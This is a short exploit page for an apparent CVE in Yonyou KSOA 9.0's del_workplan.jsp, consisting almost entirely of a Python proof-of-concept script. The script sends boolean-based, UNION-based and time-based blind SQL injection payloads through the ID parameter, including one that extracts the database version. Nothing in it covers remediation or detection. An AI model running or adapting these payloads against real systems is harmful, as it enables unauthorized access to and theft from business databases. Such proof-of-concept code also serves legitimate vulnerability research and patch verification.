CVE-2026-1121: 用友KSOA 9.0 del_workplan.jsp SQL注入漏洞

import requests target_url = "http://target-server/worksheet/del_workplan.jsp" # SQL Injection PoC - Boolean Based payload_id = "1' AND 1=1--" params = {"ID": payload_id} response = requests.get(target_url, params=params) print(f"Response Status: {response.status_code}") print(f"Response Length: {len(response.text)}") # Extract Database Version payload_extract = "1' UNION SELECT NULL,version(),NULL,NULL,NULL--" params_extract = {"ID": payload_extract} response_extract = requests.get(target_url, params=params_extract) print(f"Extracted Data: {response_extract.text}") # Time-Based Blind SQL Injection payload_time = "1'; IF(1=1) WAITFOR DELAY '0:0:5'--" params_time = {"ID": payload_time} response_time = requests.get(target_url, params=params_time) print(f"Time-based injection completed")